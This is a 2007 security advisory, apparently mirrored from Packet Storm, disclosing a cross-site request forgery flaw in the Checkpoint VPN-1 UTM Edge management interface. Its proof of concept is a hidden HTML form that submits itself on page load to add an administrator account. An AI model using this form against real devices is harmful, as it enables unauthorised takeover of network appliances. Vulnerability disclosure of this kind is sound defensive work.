checkpoint-csrf.txt

🗓️ 29 Jun 2007 00:00:00Reported by Jussi VuokkoType

packetstorm🔗 packetstormsecurity.com👁 21 Views

Cross Site Request Forgery in Checkpoint VPN-1 UTM Edge Management Interfac

` Louhi Networks Oy  
-= Security Advisory =-  
  
  
Advisory: Checkpoint VPN-1 UTM Edge Cross Site Request Forgery  
Release Date: 2007/06/26  
Last Modified: 2007/06/26  
Authors: Henri Lindberg, Associate of (ISC)² [[email protected]]  
Jussi Vuokko, CISSP [[email protected]]  
  
Application: Checkpoint VPN-1 Edge X Embedded NGX 7.0.33x  
(Other versions of the same software might be affected.)  
Devices: Checkpoint VPN-1 UTM Edge  
Severity: Cross site request forgery in management interface  
Risk: Moderate  
Vendor Status: Vendor has released an updated version  
References: http://www.louhi.fi/advisory/checkpoint_070626.txt  
  
  
Overview:  
  
Quote from http://www.checkpoint.com/  
"VPN-1 UTM Edge appliances deliver unified threat management to  
enterprises with branch offices and simplify security deployments  
and manageability. VPN-1 UTM Edge appliances consolidate proven  
enterprise-class technology into a single branch office solution  
that does not compromise the corporate network and eliminates the  
branch office as your weakest link. As part of Check Point's Unified  
Security Architecture, VPN-1 UTM Edge can enforce a global security  
policy and allows administrators to manage and update thousands of  
appliances as easily as managing one."  
  
During an audit of VPN-1 UTM Edge it was discovered that a cross site  
request forgery vulnerability exists in the management interface.  
Thus, it is possible for an attacker to perform any administrative  
actions in the management interface. These include e.g. adding  
additional admin users.  
  
  
Details:  
  
Checkpoint VPN-1 Edge Embedded device management interface does not  
validate the origin of an HTTP request. If attacker is able to make  
user visit a hostile web page, a VPN-1 Edge device can be controlled  
by submitting suitable forms. It is possible to add new users for  
example.  
  
Successful attack requires that the attacker knows the management  
interface address for the target device. As the management interface  
does not have logout functionality, user can be vulnerable to this  
attack even after closing a tab containing the management interface  
(if user does not close the browser window or clear cookies and  
depending on browser behaviour).  
  
  
Proof of Concept:  
  
Example form (adds new read-only administrator):  
  
<html>  
<body onload="document.CSRF.submit()">  
<form name="CSRF" method="post"  
action="https://fw.example.com/pop/WizU.html "style="display:none">  
  
<input name="swstate" value="WizU1">  
<input name="swtosave" value="1">  
<input name="swback" value="0">  
<input name="swindex" value="-1">  
<input name="swuuser" value="evil-user">  
<input name="swupass" value="password">  
<input name="swuexp" value="0">  
<input name="swuday" value="4">  
<input name="swumonth" value="5">  
<input name="swuyear" value="2008">  
<input name="swuhour" value="03">  
<input name="swumin" value="11">  
<input name="swuampm" value="1">  
<input name="swuacc" value="1">  
<input name="swuvpn" value="0">  
<input name="swuufp" value="0">  
<input name="swuhot" value="0">  
<input name="tacc" value="1">  
  
</form>  
</body>  
</html>  
  
  
Workaround:  
  
Update to new version.  
  
More information  
  
http://en.wikipedia.org/wiki/Cross-site_request_forgery  
  
Disclosure Timeline:  
  
7. June 2007 - Contacted Checkpoint by email  
26. June 2007 - Vendor released an updated version  
26. June 2007 - Advisory was released  
  
  
Copyright 2007 Louhi Networks Oy. All rights reserved.  
`

29 Jun 2007 00:00Current

7.4High risk

Vulners AI Score7.4